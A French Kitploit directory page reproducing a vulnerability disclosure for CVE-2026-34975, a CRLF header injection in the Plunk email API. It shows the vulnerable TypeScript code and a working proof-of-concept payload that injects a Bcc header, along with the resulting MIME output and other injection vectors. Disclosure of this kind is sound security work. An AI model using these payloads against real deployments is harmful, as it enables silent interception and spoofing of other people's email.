Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34975 — CRLF Email Header Injection dans Plunk via construction MIME brute — CVSS 8.5 | Kitploit
Outils/GitHubGitHub/romain-deperne/cve-2026-34975
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheSécurité des Emails
GitHubromain-deperne/cve-2026-34975

CVE-2026-34975

CRLF Email Header Injection dans Plunk via construction MIME brute — CVSS 8.5

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34975 — Injection d'en-têtes d'e-mail CRLF dans Plunk via la construction MIME brute

Sévérité : Élevée (CVSS 8.5) CWE : CWE-93 — Neutralisation incorrecte des séquences CRLF ('Injection CRLF') Produit concerné : useplunk/plunk (toutes les versions antérieures au correctif) Avis de sécurité : GHSA NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-34975

TL;DR

Le point de terminaison POST /v1/send de Plunk construit un message e-mail MIME brut en interpolant des champs fournis par l'utilisateur (from.name, subject, en-têtes personnalisés, noms de fichiers de pièces jointes) directement dans une chaîne de modèle sans assainissement des CRLF (\r\n). Un utilisateur authentifié de l'API peut injecter des en-têtes d'e-mail arbitraires — y compris Bcc — pour rediriger silencieusement des copies d'e-mails vers des adresses contrôlées par l'attaquant.

Comment j'ai trouvé cela

J'auditais des plateformes open-source d'envoi d'e-mails — tout ce qui encapsule AWS SES et expose une API. Plunk est présenté comme une alternative conviviale pour les développeurs à SendGrid/Postmark, construite sur SES.

Mon point d'entrée était la fonction de construction d'e-mails bruts. Chaque fois que je vois rawMessage += ou des littéraux de modèle construisant du MIME, je vérifie si chaque champ fourni par l'utilisateur est assaini des CRLF. Dans SESService.ts, la réponse était clairement non : from.name, subject, les en-têtes personnalisés et les noms de fichiers de pièces jointes étaient tous interpolés directement.

Ce qui a confirmé que cela était exploitable : le schéma Zod (packages/shared/src/schemas/index.ts) n'avait aucun .regex() ou .refine() rejetant \r\n sur aucun de ces champs. Aucun assainissement au niveau du schéma, aucun assainissement au niveau de la construction MIME — chemin propre de l'entrée API à l'en-tête MIME injecté.

J'ai testé les quatre vecteurs (from.name, subject, valeur d'en-tête personnalisée, nom de fichier de pièce jointe) et confirmé que l'injection Bcc: fonctionne. Tout utilisateur authentifié de l'API avec un domaine d'expéditeur vérifié peut copier silencieusement chaque e-mail sortant vers une adresse contrôlée par l'attaquant. Le scénario d'attaque réaliste est une clé API compromise se transformant en interception persistante d'e-mails.

Composant concerné

Fichier : apps/api/src/services/SESService.ts, lignes 137–151

root@kitploit:~
// Construction MIME brute vulnérable
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
                 `To: ${to}\r\n` +
                 `Subject: ${content.subject}\r\n`;

// En-têtes personnalisés interpolés directement
for (const [key, value] of Object.entries(headers)) {
    rawMessage += `${key}: ${value}\r\n`;  // valeur non assainie
}

// Nom de fichier de pièce jointe
`Content-Disposition: inline; filename="${attachment.filename}"` // non assaini

Schéma Zod (packages/shared/src/schemas/index.ts) — aucune validation CRLF :

root@kitploit:~
headers: z.record(z.string().max(998)).optional()   // aucune vérification \r\n
from: { name: z.string().optional() }               // aucune vérification \r\n
subject: z.string().min(1).max(998)                 // aucune vérification \r\n
filename: z.string().min(1).max(255)                // aucune vérification \r\n

Cause racine

La construction MIME brute exige que chaque valeur fournie par l'utilisateur soit dépouillée de \r\n avant l'interpolation. Plunk construit le message avec des littéraux de modèle et n'assainit aucun des quatre champs injectables. Les analyseurs SMTP interprètent \r\n comme une limite d'en-tête, donc injecter \r\nBcc: [email protected] dans from.name ajoute un véritable en-tête Bcc au message sortant.

Preuve de concept

Voir poc.py pour une démonstration complète avec quatre vecteurs d'injection.

Charge utile principale — injection Bcc via from.name :

root@kitploit:~
payload = {
    "to": "[email protected]",
    "subject": "Legit email",
    "body": "<p>Nothing to see here.</p>",
    "from": {
        "name": "Legit Sender\r\nBcc: [email protected]",
        "email": "[email protected]",
    },
}

MIME brut produit par SES :

root@kitploit:~
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email

SES livre une copie silencieuse à [email protected] avec chaque e-mail envoyé via la clé API compromise.

Autres vecteurs d'injection :

  • subject : "Legit Subject\r\nBcc: [email protected]"
  • Valeur d'en-tête personnalisée : {"X-Custom": "value\r\nBcc: [email protected]"}
  • Nom de fichier de pièce jointe : injection de limite MIME

Impact

  1. Redirection silencieuse d'e-mails — mettre en BCC tout e-mail sortant vers une adresse contrôlée par l'attaquant
  2. Usurpation d'e-mails — remplacer les en-têtes Reply-To, Return-Path, Sender
  3. Corruption de la structure MIME — injecter des parties MIME arbitraires via le nom de fichier de pièce jointe
  4. Nécessite uniquement une clé API Plunk valide et un domaine d'expéditeur vérifié — accès authentifié standard

Chronologie

  • Découverte : 2026-03-xx
  • Signalement : avis privé GHSA
  • CVE publiée : CVE-2026-34975
Télécharger l’outil